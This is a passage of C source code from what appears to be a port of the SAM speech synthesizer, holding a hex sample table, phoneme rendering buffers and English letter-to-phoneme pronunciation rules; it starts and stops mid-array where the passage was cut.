0xE3, - 0, - 7, - 0xF8, - 0xE0, - 0xEF, - 0, - 0x39, - 0xF7, - 0x80, - 0xE, - 0xF8, - 0xE1, - 0xE3, - 0xF8, - 0x21, - 0x9F - //400 - , - 0xC0, - 0xFF, - 3, - 0xF8, - 7, - 0xC0, - 0x1F, - 0xF8, - 0xC4, - 4, - 0xFC, - 0xC4, - 0xC1, - 0xBC, - 0x87, - 0xF0, - 0xF, - 0xC0, - 0x7F, - 5, - 0xE0, - 0x25, - 0xEC, - 0xC0, - 0x3E, - 0x84, - 0x47, - 0xF0, - 0x8E, - 3, - 0xF8, - 3 - //420 - , - 0xFB, - 0xC0, - 0x19, - 0xF8, - 7, - 0x9C, - 0xC, - 0x17, - 0xF8, - 7, - 0xE0, - 0x1F, - 0xA1, - 0xFC, - 0xF, - 0xFC, - 1, - 0xF0, - 0x3F, - 0, - 0xFE, - 3, - 0xF0, - 0x1F, - 0, - 0xFD, - 0, - 0xFF, - 0x88, - 0xD, - 0xF9, - 1 - //440 - , - 0xFF, - 0, - 0x70, - 7, - 0xC0, - 0x3E, - 0x42, - 0xF3, - 0xD, - 0xC4, - 0x7F, - 0x80, - 0xFC, - 7, - 0xF0, - 0x5E, - 0xC0, - 0x3F, - 0, - 0x78, - 0x3F, - 0x81, - 0xFF, - 1, - 0xF8, - 1, - 0xC3, - 0xE8, - 0xC, - 0xE4, - 0x64, - 0x8F - ////460 - , - 0xE4, - 0xF, - 0xF0, - 7, - 0xF0, - 0xC2, - 0x1F, - 0, - 0x7F, - 0xC0, - 0x6F, - 0x80, - 0x7E, - 3, - 0xF8, - 7, - 0xF0, - 0x3F, - 0xC0, - 0x78, - 0xF, - 0x82, - 7, - 0xFE, - 0x22, - 0x77, - 0x70, - 2, - 0x76, - 3, - 0xFE, - 0 - //480 - , - 0xFE, - 0x67, - 0, - 0x7C, - 0xC7, - 0xF1, - 0x8E, - 0xC6, - 0x3B, - 0xE0, - 0x3F, - 0x84, - 0xF3, - 0x19, - 0xD8, - 3, - 0x99, - 0xFC, - 9, - 0xB8, - 0xF, - 0xF8, - 0, - 0x9D, - 0x24, - 0x61, - 0xF9, - 0xD, - 0, - 0xFD, - 3, - 0xF0 - //4a0 - , - 0x1F, - 0x90, - 0x3F, - 1, - 0xF8, - 0x1F, - 0xD0, - 0xF, - 0xF8, - 0x37, - 1, - 0xF8, - 7, - 0xF0, - 0xF, - 0xC0, - 0x3F, - 0, - 0xFE, - 3, - 0xF8, - 0xF, - 0xC0, - 0x3F, - 0, - 0xFA, - 3, - 0xF0, - 0xF, - 0x80, - 0xFF, - 1 - //4c0 - , - 0xB8, - 7, - 0xF0, - 1, - 0xFC, - 1, - 0xBC, - 0x80, - 0x13, - 0x1E, - 0, - 0x7F, - 0xE1, - 0x40, - 0x7F, - 0xA0, - 0x7F, - 0xB0, - 0, - 0x3F, - 0xC0, - 0x1F, - 0xC0, - 0x38, - 0xF, - 0xF0, - 0x1F, - 0x80, - 0xFF, - 1, - 0xFC, - 3 - //4e0 - , - 0xF1, - 0x7E, - 1, - 0xFE, - 1, - 0xF0, - 0xFF, - 0, - 0x7F, - 0xC0, - 0x1D, - 7, - 0xF0, - 0xF, - 0xC0, - 0x7E, - 6, - 0xE0, - 7, - 0xE0, - 0xF, - 0xF8, - 6, - 0xC1, - 0xFE, - 1, - 0xFC, - 3, - 0xE0, - 0xF, - 0, - 0xFC}; - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// Render -// -//////////////////////////////////////////////////////////////////////////////////////////// - -unsigned char pitches[256]; // tab43008 - -unsigned char frequency1[256]; -unsigned char frequency2[256]; -unsigned char frequency3[256]; - -unsigned char amplitude1[256]; -unsigned char amplitude2[256]; -unsigned char amplitude3[256]; - -unsigned char sampledConsonantFlag[256]; // tab44800 - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// Sam -// -//////////////////////////////////////////////////////////////////////////////////////////// - -unsigned char stress[256]; //numbers from 0 to 8 -unsigned char phonemeLength[256]; //tab40160 -unsigned char phonemeindex[256]; - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// ReciterTabs -// -//////////////////////////////////////////////////////////////////////////////////////////// - -//some flags -const unsigned char tab36376[] = { - 0, 0, 0, 0, 0, 0, 0, 0, // 0-7 - 0, 0, 0, 0, 0, 0, 0, 0, // 8-15 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 2, 2, 2, 2, 2, 2, 130, // ' ', '!' - 0, 0, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 2, 2, 2, 2, 2, 2, 2, 192, 168, 176, 172, 192, 160, 184, // '@', 'A' - 160, 192, 188, 160, 172, 168, 172, 192, 160, 160, 172, 180, 164, 192, 168, 168, - 176, 192, 188, 0, 0, 0, 2, 0, // 'X', 'Y', 'Z', '[', - 32, 32, 155, 32, 192, 185, 32, 205, 163, 76, 138, 142}; - -const unsigned char rules[] = { - ']', 'A' | 0x80, ' ', '(', 'A', '.', ')', '=', - 'E', 'H', '4', 'Y', '.', ' ' | 0x80, '(', 'A', - ')', ' ', '=', 'A', 'H' | 0x80, ' ', '(', 'A', - 'R', 'E', ')', ' ', '=', 'A', 'A', 'R' | 0x80, - ' ', '(', 'A', 'R', ')', 'O', '=', 'A', - 'X', 'R' | 0x80, '(', 'A', 'R', ')', '#', '=', - 'E', 'H', '4', 'R' | 0x80, ' ', '^', '(', 'A', - 'S', ')', '#', '=', 'E', 'Y', '4', 'S' | 0x80, - '(', 'A', ')', 'W', 'A', '=', 'A', 'X' | 0x80, - '(', 'A', 'W', ')', '=', 'A', 'O', '5' | 0x80, - ' ', ':', '(', 'A', 'N', 'Y', ')', '=', - 'E', 'H', '4', 'N', 'I', 'Y' | 0x80, '(', 'A', - ')', '^', '+', '#', '=', 'E', 'Y', '5' | 0x80, - '#', ':', '(', 'A', 'L', 'L', 'Y', ')', - '=', 'U', 'L', 'I', 'Y' | 0x80, ' ', '(', 'A', - 'L', ')', '#', '=', 'U', 'L' | 0x80, '(', 'A', - 'G', 'A', 'I', 'N', ')', '=', 'A', 'X', - 'G', 'E', 'H', '4', 'N' | 0x80, '#', ':', '(', - 'A', 'G', ')', 'E', '=', 'I', 'H', 'J' | 0x80, - '(', 'A', ')', '^', '%', '=', 'E', 'Y' | 0x80, - '(', 'A', ')', '^', '+', ':', '#', '=', - 'A', 'E' | 0x80, ' ', ':', '(', 'A', ')', '^', - '+', ' ', '=', 'E', 'Y', '4' | 0x80, ' ', '(', - 'A', 'R', 'R', ')', '=', 'A', 'X', 'R' | 0x80, - '(', 'A', 'R', 'R', ')', '=', 'A', 'E', - '4', 'R' | 0x80, ' ', '^', '(', 'A', 'R', ')', - ' ', '=', 'A', 'A', '5', 'R' | 0x80, '(', 'A', - 'R', ')', '=', 'A', 'A', '5', 'R' | 0x80, '(', - 'A', 'I', 'R', ')', '=', 'E', 'H', '4', - 'R' | 0x80, '(', 'A', 'I', ')', '=', 'E', 'Y', - '4' | 0x80, '(', 'A', 'Y', ')', '=', 'E', 'Y', - '5' | 0x80, '(', 'A', 'U', ')', '=', 'A', 'O', - '4' | 0x80, '#', ':', '(', 'A', 'L', ')', ' ', - '=', 'U', 'L' | 0x80, '#', ':', '(', 'A', 'L', - 'S', ')', ' ', '=', 'U', 'L', 'Z' | 0x80, '(', - 'A', 'L', 'K', ')', '=', 'A', 'O', '4', - 'K' | 0x80, '(', 'A', 'L', ')', '^', '=', 'A', - 'O', 'L' | 0x80, ' ', ':', '(', 'A', 'B', 'L', - 'E', ')', '=', 'E', 'Y', '4', 'B', 'U', - 'L' | 0x80, '(', 'A', 'B', 'L', 'E', ')', '=', - 'A', 'X', 'B', 'U', 'L' | 0x80, '(', 'A', ')', - 'V', 'O', '=', 'E', 'Y', '4' | 0x80, '(', 'A', - 'N', 'G', ')', '+', '=', 'E', 'Y', '4', - 'N', 'J' | 0x80, '(', 'A', 'T', 'A', 'R', 'I', - ')', '=', 'A', 'H', 'T', 'A', 'A', '4', - 'R', 'I', 'Y' | 0x80, '(', 'A', ')', 'T', 'O', - 'M', '=', 'A', 'E' | 0x80, '(', 'A', ')', 'T', - 'T', 'I', '=', 'A', 'E' | 0x80, ' ', '(', 'A', - 'T', ')', ' ', '=', 'A', 'E', 'T' | 0x80, ' ', - '(', 'A', ')', 'T', '=', 'A', 'H' | 0x80, '(', - 'A', ')', '=', 'A', 'E' | 0x80, - - ']', 'B' | 0x80, ' ', '(', 'B', ')', ' ', '=', - 'B', 'I', 'Y', '4' | 0x80, ' ', '(', 'B', 'E', - ')', '^', '#', '=', 'B', 'I', 'H' | 0x80, '(', - 'B', 'E', 'I', 'N', 'G', ')', '=', 'B', - 'I', 'Y', '4', 'I', 'H', 'N', 'X' | 0x80, ' ', - '(', 'B', 'O', 'T', 'H', ')', ' ', '=', - 'B', 'O', 'W', '4', 'T', 'H' | 0x80, ' ', '(', - 'B', 'U', 'S', ')', '#', '=', 'B', 'I', - 'H', '4', 'Z' | 0x80, '(', 'B', 'R', 'E', 'A', - 'K', ')', '=', 'B', 'R', 'E', 'Y', '5', - 'K' | 0x80, '(', 'B', 'U', 'I', 'L', ')', '=', - 'B', 'I', 'H', '4', 'L' | 0x80, '(', 'B', ')', - '=', 'B' | 0x80, - - ']', 'C' | 0x80, ' ', '(', 'C', ')', ' ', '=', - 'S', 'I', 'Y', '4' | 0x80, ' ', '(', 'C', 'H', - ')', '^', '=', 'K' | 0x80, '^', 'E', '(', 'C', - 'H', ')', '=', 'K' | 0x80, '(', 'C', 'H', 'A', - ')', 'R', '#', '=', 'K', 'E', 'H', '5' | 0x80, - '(', 'C', 'H', ')', '=', 'C', 'H' | 0x80, ' ', - 'S', '(', 'C', 'I', ')', '#', '=', 'S', - 'A', 'Y', '4' | 0x80, '(', 'C', 'I', ')', 'A', - '=', 'S', 'H' | 0x80, '(', 'C', 'I', ')', 'O', - '=', 'S', 'H' | 0x80, '(', 'C', 'I', ')', 'E', - 'N', '=', 'S', 'H' | 0x80, '(', 'C', 'I', 'T', - 'Y', ')', '=', 'S', 'I', 'H', 'T', 'I', - 'Y' | 0x80, '(', 'C', ')', '+', '=', 'S' | 0x80, '(', - 'C', 'K', ')', '=', 'K' | 0x80, '(', 'C', 'O', - 'M', 'M', 'O', 'D', 'O', 'R', 'E', ')', - '=', 'K', 'A', 'A', '4', 'M', 'A', 'H', - 'D', 'O', 'H', 'R' | 0x80, '(', 'C', 'O', 'M', - ')', '=', 'K', 'A', 'H', 'M' | 0x80, '(', 'C', - 'U', 'I', 'T', ')', '=', 'K', 'I', 'H', - 'T' | 0x80, '(', 'C', 'R', 'E', 'A', ')', '=', - 'K', 'R', 'I', 'Y', 'E', 'Y' | 0x80, '(', 'C', - ')', '=', 'K' | 0x80, - - ']', 'D' | 0x80, ' ', '(', 'D', ')', ' ', '=', - 'D', 'I', 'Y', '4' | 0x80, ' ', '(', 'D', 'R', - '.', ')', ' ', '=', 'D', 'A', 'A', '4', - 'K', 'T', 'E', 'R' | 0x80, '#', ':', '(', 'D', - 'E', 'D', ')', ' ', '=', 'D', 'I', 'H', - 'D' | 0x80, '.', 'E', '(', 'D', ')', ' ', '=', - 'D' | 0x80, '#', ':', '^', 'E', '(', 'D', ')', - ' ', '=', 'T' | 0x80, ' ', '(', 'D', 'E', ')', - '^', '#', '=', 'D', 'I', 'H' | 0x80, ' ', '(', - 'D', 'O', ')', ' ', '=', 'D', 'U', 'W' | 0x80, - ' ', '(', 'D', 'O', 'E', 'S', ')', '=', - 'D', 'A', 'H', 'Z' | 0x80, '(', 'D', 'O', 'N', - 'E', ')', ' ', '=', 'D', 'A', 'H', '5', - 'N' | 0x80, '(', 'D', 'O', 'I', 'N', 'G', ')', - '=', 'D', 'U', 'W', '4', 'I', 'H', 'N', - 'X' | 0x80, ' ', '(', 'D', 'O', 'W', ')', '=', - 'D', 'A', 'W' | 0x80, '#', '(', 'D', 'U', ')', - 'A', '=', 'J', 'U', 'W' | 0x80, '#', '(', 'D', - 'U', ')', '^', '#', '=', 'J', 'A', 'X' | 0x80, - '(', 'D', ')', '=', 'D' | 0x80, - - ']', 'E' | 0x80, ' ', '(', 'E', ')', ' ', '=', - 'I', 'Y', 'I', 'Y', '4' | 0x80, '#', ':', '(', - 'E', ')', ' ', '=' | 0x80, '\'', ':', '^', '(', - 'E', ')', ' ', '=' | 0x80, ' ', ':', '(', 'E', - ')', ' ', '=', 'I', 'Y' | 0x80, '#', '(', 'E', - 'D', ')', ' ', '=', 'D' | 0x80, '#', ':', '(', - 'E', ')', 'D', ' ', '=' | 0x80, '(', 'E', 'V', - ')', 'E', 'R', '=', 'E', 'H', '4', 'V' | 0x80, - '(', 'E', ')', '^', '%', '=', 'I', 'Y', - '4' | 0x80, '(', 'E', 'R', 'I', ')', '#', '=', - 'I', 'Y', '4', 'R', 'I', 'Y' | 0x80, '(', 'E', - 'R', 'I', ')', '=', 'E', 'H', '4', 'R', - 'I', 'H' | 0x80, '#', ':', '(', 'E', 'R', ')', - '#', '=', 'E', 'R' | 0x80, '(', 'E', 'R', 'R', - 'O', 'R', ')', '=', 'E', 'H', '4', 'R', - 'O', 'H', 'R' | 0x80, '(', 'E', 'R', 'A', 'S', - 'E', ')', '=', 'I', 'H', 'R', 'E', 'Y', - '5', 'S' | 0x80, '(', 'E', 'R', ')', '#', '=', - 'E', 'H', 'R' | 0x80, '(', 'E', 'R', ')', '=', - 'E', 'R' | 0x80, ' ', '(', 'E', 'V', 'E', 'N', - ')', '=', 'I', 'Y', 'V', 'E', 'H', 'N' | 0x80, - '#', ':', '(', 'E', ')', 'W', '=' | 0x80, '@', - '(', 'E', 'W', ')', '=', 'U', 'W' | 0x80, '(', - 'E', 'W', ')', '=', 'Y', 'U', 'W' | 0x80, '(', - 'E', ')', 'O', '=', 'I', 'Y' | 0x80, '#', ':', - '&', '(', 'E', 'S', ')', ' ', '=', 'I', - 'H', 'Z' | 0x80, '#', ':', '(', 'E', ')', 'S', - ' ', '=' | 0x80, '#', ':', '(', 'E', 'L', 'Y', - ')', ' ', '=', 'L', 'I', 'Y' | 0x80, '#', ':', - '(', 'E', 'M', 'E', 'N', 'T', ')', '=', - 'M', 'E', 'H', 'N', 'T' | 0x80, '(', 'E', 'F', - 'U', 'L', ')', '=', 'F', 'U', 'H', 'L' | 0x80, - '(', 'E', 'E', ')', '=', 'I', 'Y', '4' | 0x80, - '(', 'E', 'A', 'R', 'N', ')', '=', 'E', - 'R', '5', 'N' | 0x80, ' ', '(', 'E', 'A', 'R', - ')', '^', '=', 'E', 'R', '5' | 0x80, '(', 'E', - 'A', 'D', ')', '=', 'E', 'H', 'D' | 0x80, '#', - ':', '(', 'E', 'A', ')', ' ', '=', 'I', - 'Y', 'A', 'X' | 0x80, '(', 'E', 'A', ')', 'S', - 'U', '=', 'E', 'H', '5' | 0x80, '(', 'E', 'A', - ')', '=', 'I', 'Y', '5' | 0x80, '(', 'E', 'I', - 'G', 'H', ')', '=', 'E', 'Y', '4' | 0x80, '(', - 'E', 'I', ')', '=', 'I', 'Y', '4' | 0x80, ' ', - '(', 'E', 'Y', 'E', ')', '=', 'A', 'Y', - '4' | 0x80, '(', 'E', 'Y', ')', '=', 'I', 'Y' | 0x80, - '(', 'E', 'U', ')', '=', 'Y', 'U', 'W', - '5' | 0x80, '(', 'E', 'Q', 'U', 'A', 'L', ')', - '=', 'I', 'Y', '4', 'K', 'W', 'U', 'L' | 0x80, - '(', 'E', ')', '=', 'E', 'H' | 0x80, - - ']', 'F' | 0x80, ' ', '(', 'F', ')', ' ', '=', - 'E', 'H', '4', 'F' | 0x80, '(', 'F', 'U', 'L', - ')', '=', 'F', 'U', 'H', 'L' | 0x80, '(', 'F', - 'R', 'I', 'E', 'N', 'D', ')', '=', 'F', - 'R', 'E', 'H', '5', 'N', 'D' | 0x80, '(', 'F', - 'A', 'T', 'H', 'E', 'R', ')', '=', 'F', - 'A', 'A', '4', 'D', 'H', 'E', 'R' | 0x80, '(', - 'F', ')', 'F', '=' | 0x80, '(', 'F', ')', '=', - 'F' | 0x80, - - ']', 'G' | 0x80, ' ', '(', 'G', ')', ' ', '=', - 'J', 'I', 'Y', '4' | 0x80, '(', 'G', 'I', 'V', - ')', '=', 'G', 'I', 'H', '5', 'V' | 0x80, ' ', - '(', 'G', ')', 'I', '^', '=', 'G' | 0x80, '(', - 'G', 'E', ')', 'T', '=', 'G', 'E', 'H', - '5' | 0x80, 'S', 'U', '(', 'G', 'G', 'E', 'S', - ')', '=', 'G', 'J', 'E', 'H', '4', 'S' | 0x80, - '(', 'G', 'G', ')', '=', 'G' | 0x80, ' ', 'B', - '#', '(', 'G', ')', '=', 'G' | 0x80, '(', 'G', - ')', '+', '=', 'J' | 0x80, '(', 'G', 'R', 'E', - 'A', 'T', ')', '=', 'G', 'R', 'E', 'Y', - '4', 'T' | 0x80, '(', 'G', 'O', 'N', ')', 'E', - '=', 'G', 'A', 'O', '5', 'N' | 0x80, '#', '(', - 'G', 'H', ')', '=' | 0x80, ' ', '(', 'G', 'N', - ')', '=', 'N' | 0x80, '(', 'G', ')', '=', 'G' | 0x80, - - ']', 'H' | 0x80, ' ', '(', 'H', ')', ' ', '=', - 'E', 'Y', '4', 'C', 'H' | 0x80, ' ', '(', 'H', - 'A', 'V', ')', '=', '/', 'H', 'A', 'E', - '6', 'V' | 0x80, ' ', '(', 'H', 'E', 'R', 'E', - ')', '=', '/', 'H', 'I', 'Y', 'R' | 0x80, ' ', - '(', 'H', 'O', 'U', 'R', ')', '=', 'A', - 'W', '5', 'E', 'R' | 0x80, '(', 'H', 'O', 'W', - ')', '=', '/', 'H', 'A', 'W' | 0x80, '(', 'H', - ')', '#', '=', '/', 'H' | 0x80, '(', 'H', ')', - '=' | 0x80, - - ']', 'I' | 0x80, ' ', '(', 'I', 'N', ')', '=', - 'I', 'H', 'N' | 0x80, ' ', '(', 'I', ')', ' ', - '=', 'A', 'Y', '4' | 0x80, '(', 'I', ')', ' ', - '=', 'A', 'Y' | 0x80, '(', 'I', 'N', ')', 'D', - '=', 'A', 'Y', '5', 'N' | 0x80, 'S', 'E', 'M', - '(', 'I', ')', '=', 'I', 'Y' | 0x80, ' ', 'A', - 'N', 'T', '(', 'I', ')', '=', 'A', 'Y' | 0x80, - '(', 'I', 'E', 'R', ')', '=', 'I', 'Y', - 'E', 'R' | 0x80, '#', ':', 'R', '(', 'I', 'E', - 'D', ')', ' ', '=', 'I', 'Y', 'D' | 0x80, '(', - 'I', 'E', 'D', ')', ' ', '=', 'A', 'Y', - '5', 'D' | 0x80, '(', 'I', 'E', 'N', ')', '=', - 'I', 'Y', 'E', 'H', 'N' | 0x80, '(', 'I', 'E', - ')', 'T', '=', 'A', 'Y', '4', 'E', 'H' | 0x80, - '(', 'I', '\'', ')', '=', 'A', 'Y', '5' | 0x80, - ' ', ':', '(', 'I', ')', '^', '%', '=', - 'A', 'Y', '5' | 0x80, ' ', ':', '(', 'I', 'E', - ')', ' ', '=', 'A', 'Y', '4' | 0x80, '(', 'I', - ')', '%', '=', 'I', 'Y' | 0x80, '(', 'I', 'E', - ')', '=', 'I', 'Y', '4' | 0x80, ' ', '(', 'I', - 'D', 'E', 'A', ')', '=', 'A', 'Y', 'D', - 'I', 'Y', '5', 'A', 'H' | 0x80, '(', 'I', ')', - '^', '+', ':', '#', '=', 'I', 'H' | 0x80, '(', - 'I', 'R', ')', '#', '=', 'A', 'Y', 'R' | 0x80, - '(', 'I', 'Z', ')', '%', '=', 'A', 'Y', - 'Z' | 0x80, '(', 'I', 'S', ')', '%', '=', 'A', - 'Y', 'Z' | 0x80, 'I', '^', '(', 'I', ')', '^', - '#', '=', 'I', 'H' | 0x80, '+', '^', '(', 'I', - ')', '^', '+', '=', 'A', 'Y' | 0x80, '#', ':', - '^', '(', 'I', ')', '^', '+', '=', 'I', - 'H' | 0x80, '(', 'I', ')', '^', '+', '=', 'A', - 'Y' | 0x80, '(', 'I', 'R', ')', '=', 'E', 'R' | 0x80, - '(', 'I', 'G', 'H', ')', '=', 'A', 'Y', - '4' | 0x80, '(', 'I', 'L', 'D', ')', '=', 'A', - 'Y', '5', 'L', 'D' | 0x80, ' ', '(', 'I', 'G', - 'N', ')', '=', 'I', 'H', 'G', 'N' | 0x80, '(', - 'I', 'G', 'N', ')', ' ', '=', 'A', 'Y', - '4', 'N' | 0x80, '(', 'I', 'G', 'N', ')', '^', - '=', 'A', 'Y', '4', 'N' | 0x80, '(', 'I', 'G', - 'N', ')', '%', '=', 'A', 'Y', '4', 'N' | 0x80, - '(', 'I', 'C', 'R', 'O', ')', '=', 'A', - 'Y', '4', 'K', 'R', 'O', 'H' | 0x80, '(', 'I', - 'Q', 'U', 'E', ')', '=', 'I', 'Y', '4', - 'K' | 0x80, '(', 'I', ')', '=', 'I', 'H' | 0x80, - - ']', 'J' | 0x80, ' ', '(', 'J', ')', ' ', '=', - 'J', 'E', 'Y', '4' | 0x80, '(', 'J', ')', '=', - 'J' | 0x80, - - ']', 'K' | 0x80, ' ', '(', 'K', ')', ' ', '=', - 'K', 'E', 'Y', '4' | 0x80, ' ', '(', 'K', ')', - 'N', '=' | 0x80, '(', 'K', ')', '=', 'K' | 0x80, - - ']', 'L' | 0x80, ' ', '(', 'L', ')', ' ', '=', - 'E', 'H', '4', 'L' | 0x80, '(', 'L', 'O', ')', - 'C', '#', '=', 'L', 'O', 'W' | 0x80, 'L', '(', - 'L', ')', '=' | 0x80, '#', ':', '^', '(', 'L', - ')', '%', '=', 'U', 'L' | 0x80, '(', 'L', 'E', - 'A', 'D', ')', '=', 'L', 'I', 'Y', 'D' | 0x80, - ' ', '(', 'L', 'A', 'U', 'G', 'H', ')', - '=', 'L', 'A', 'E', '4', 'F' | 0x80, '(', 'L', - ')', '=', 'L' | 0x80, - - ']', 'M' | 0x80, ' ', '(', 'M', ')', ' ', '=', - 'E', 'H', '4', 'M' | 0x80, ' ', '(', 'M', 'R', - '.', ')', ' ', '=', 'M', 'I', 'H', '4', - 'S', 'T', 'E', 'R' | 0x80, ' ', '(', 'M', 'S', - '.', ')', '=', 'M', 'I', 'H', '5', 'Z' | 0x80, - ' ', '(', 'M', 'R', 'S', '.', ')', ' ', - '=', 'M', 'I', 'H', '4', 'S', 'I', 'X', - 'Z' | 0x80, '(', 'M', 'O', 'V', ')', '=', 'M', - 'U', 'W', '4', 'V' | 0x80, '(', 'M', 'A', 'C', - 'H', 'I', 'N', ')', '=', 'M', 'A', 'H', - 'S', 'H', 'I', 'Y', '5', 'N' | 0x80, 'M', '(', - 'M', ')', '=' | 0x80, '(', 'M', ')', '=', 'M' | 0x80, - - ']', 'N' | 0x80, ' ', '(', 'N', ')', ' ', '=', - 'E', 'H', '4', 'N' | 0x80, 'E', '(', 'N', 'G', - ')', '+', '=', 'N', 'J' | 0x80, '(', 'N', 'G', - ')', 'R', '=', 'N', 'X', 'G' | 0x80, '(', 'N', - 'G', ')', '#', '=', 'N', 'X', 'G' | 0x80, '(', - 'N', 'G', 'L', ')', '%', '=', 'N', 'X', - 'G', 'U', 'L' | 0x80, '(', 'N', 'G', ')', '=', - 'N', 'X' | 0x80, '(', 'N', 'K', ')', '=', 'N', - 'X', 'K' | 0x80, ' ', '(', 'N', 'O', 'W', ')', - ' ', '=', 'N', 'A', 'W', '4' | 0x80, 'N', '(', - 'N', ')', '=' | 0x80, '(', 'N', 'O', 'N', ')', - 'E', '=', 'N', 'A', 'H', '4', 'N' | 0x80, '(', - 'N', ')', '=', 'N' | 0x80, - - ']', 'O' | 0x80, ' ', '(', 'O', ')', ' ', '=', - 'O', 'H', '4', 'W' | 0x80, '(', 'O', 'F', ')', - ' ', '=', 'A', 'H', 'V' | 0x80, ' ', '(', 'O', - 'H', ')', ' ', '=', 'O', 'W', '5' | 0x80, '(', - 'O', 'R', 'O', 'U', 'G', 'H', ')', '=', - 'E', 'R', '4', 'O', 'W' | 0x80, '#', ':', '(', - 'O', 'R', ')', ' ', '=', 'E', 'R' | 0x80, '#', - ':', '(', 'O', 'R', 'S', ')', ' ', '=', - 'E', 'R', 'Z' | 0x80, '(', 'O', 'R', ')', '=', - 'A', 'O', 'R' | 0x80, ' ', '(', 'O', 'N', 'E', - ')', '=', 'W', 'A', 'H', 'N' | 0x80, '#', '(', - 'O', 'N', 'E', ')', ' ', '=', 'W', 'A', - 'H', 'N' | 0x80, '(', 'O', 'W', ')', '=', 'O', - 'W' | 0x80, ' ', '(', 'O', 'V', 'E', 'R', ')', - '=', 'O', 'W', '5', 'V', 'E', 'R' | 0x80, 'P', - 'R', '(', 'O', ')', 'V', '=', 'U', 'W', - '4' | 0x80, '(', 'O', 'V', ')', '=', 'A', 'H', - '4', 'V' | 0x80, '(', 'O', ')', '^', '%', '=', - 'O', 'W', '5' | 0x80, '(', 'O', ')', '^', 'E', - 'N', '=', 'O', 'W' | 0x80, '(', 'O', ')', '^', - 'I', '#', '=', 'O', 'W', '5' | 0x80, '(', 'O', - 'L', ')', 'D', '=', 'O', 'W', '4', 'L' | 0x80, - '(', 'O', 'U', 'G', 'H', 'T', ')', '=', - 'A', 'O', '5', 'T' | 0x80, '(', 'O', 'U', 'G', - 'H', ')', '=', 'A', 'H', '5', 'F' | 0x80, ' ', - '(', 'O', 'U', ')', '=', 'A', 'W' | 0x80, 'H', - '(', 'O', 'U', ')', 'S', '#', '=', 'A', - 'W', '4' | 0x80, '(', 'O', 'U', 'S', ')', '=', - 'A', 'X', 'S' | 0x80, '(', 'O', 'U', 'R', ')', - '=', 'O', 'H', 'R' | 0x80, '(', 'O', 'U', 'L', - 'D', ')', '=', 'U', 'H', '5', 'D' | 0x80, '(', - 'O', 'U', ')', '^', 'L', '=', 'A', 'H', - '5' | 0x80, '(', 'O', 'U', 'P', ')', '=', 'U', - 'W', '5', 'P' | 0x80, '(', 'O', 'U', ')', '=', - 'A', 'W' | 0x80, '(', 'O', 'Y', ')', '=', 'O', - 'Y' | 0x80, '(', 'O', 'I', 'N', 'G', ')', '=', - 'O', 'W', '4', 'I', 'H', 'N', 'X' | 0x80, '(', - 'O', 'I', ')', '=', 'O', 'Y', '5' | 0x80, '(', - 'O', 'O', 'R', ')', '=', 'O', 'H', '5', - 'R' | 0x80, '(', 'O', 'O', 'K', ')', '=', 'U', - 'H', '5', 'K' | 0x80, 'F', '(', 'O', 'O', 'D', - ')', '=', 'U', 'W', '5', 'D' | 0x80, 'L', '(', - 'O', 'O', 'D', ')', '=', 'A', 'H', '5', - 'D' | 0x80, 'M', '(', 'O', 'O', 'D', ')', '=', - 'U', 'W', '5', 'D' | 0x80, '(', 'O', 'O', 'D', - ')', '=', 'U', 'H', '5', 'D' | 0x80, 'F', '(', - 'O', 'O', 'T', ')', '=', 'U', 'H', '5', - 'T' | 0x80, '(', 'O', 'O', ')', '=', 'U', 'W', - '5' | 0x80, '(', 'O', '\'', ')', '=', 'O', 'H' | 0x80, - '(', 'O', ')', 'E', '=', 'O', 'W' | 0x80, '(', - 'O', ')', ' ', '=', 'O', 'W' | 0x80, '(', 'O', - 'A', ')', '=', 'O', 'W', '4' | 0x80, ' ', '(', - 'O', 'N', 'L', 'Y', ')', '=', 'O', 'W', - '4', 'N', 'L', 'I', 'Y' | 0x80, ' ', '(', 'O', - 'N', 'C', 'E', ')', '=', 'W', 'A', 'H', - '4', 'N', 'S' | 0x80, '(', 'O', 'N', '\'', 'T', - ')', '=', 'O', 'W', '4', 'N', 'T' | 0x80, 'C', - '(', 'O', ')', 'N', '=', 'A', 'A' | 0x80, '(', - 'O', ')', 'N', 'G', '=', 'A', 'O' | 0x80, ' ', - ':', '^', '(', 'O', ')', 'N', '=', 'A', - 'H' | 0x80, 'I', '(', 'O', 'N', ')', '=', 'U', - 'N' | 0x80, '#', ':', '(', 'O', 'N', ')', '=', - 'U', 'N' | 0x80, '#', '^', '(', 'O', 'N', ')', - '=', 'U', 'N' | 0x80, '(', 'O', ')', 'S', 'T', - '=', 'O', 'W' | 0x80, '(', 'O', 'F', ')', '^', - '=', 'A', 'O', '4', 'F' | 0x80, '(', 'O', 'T', - 'H', 'E', 'R', ')', '=', 'A', 'H', '5', - 'D', 'H', 'E', 'R' | 0x80, 'R', '(', 'O', ')', - 'B', '=', 'R', 'A', 'A' | 0x80, '^', 'R', '(', - 'O', ')', ':', '#', '=', 'O', 'W', '5' | 0x80, - '(', 'O', 'S', 'S', ')', ' ', '=', 'A', - 'O', '5', 'S' | 0x80, '#', ':', '^', '(', 'O', - 'M', ')', '=', 'A', 'H', 'M' | 0x80, '(', 'O', - ')', '=', 'A', 'A' | 0x80, - - ']', 'P' | 0x80, ' ', '(', 'P', ')', ' ', '=', - 'P', 'I', 'Y', '4' | 0x80, '(', 'P', 'H', ')', - '=', 'F' | 0x80, '(', 'P', 'E', 'O', 'P', 'L', - ')', '=', 'P', 'I', 'Y', '5', 'P', 'U', - 'L' | 0x80, '(', 'P', 'O', 'W', ')', '=', 'P', - 'A', 'W', '4' | 0x80, '(', 'P', 'U', 'T', ')', - ' ', '=', 'P', 'U', 'H', 'T' | 0x80, '(', 'P', - ')', 'P', '=' | 0x80, '(', 'P', ')', 'S', '=' | 0x80, - '(', 'P', ')', 'N', '=' | 0x80, '(', 'P', 'R', - 'O', 'F', '.', ')', '=', 'P', 'R', 'O', - 'H', 'F', 'E', 'H', '4', 'S', 'E', 'R' | 0x80, - '(', 'P', ')', '=', 'P' | 0x80, - - ']', 'Q' | 0x80, ' ', '(', 'Q', ')', ' ', '=', - 'K', 'Y', 'U', 'W', '4' | 0x80, '(', 'Q', 'U', - 'A', 'R', ')', '=', 'K', 'W', 'O', 'H', - '5', 'R' | 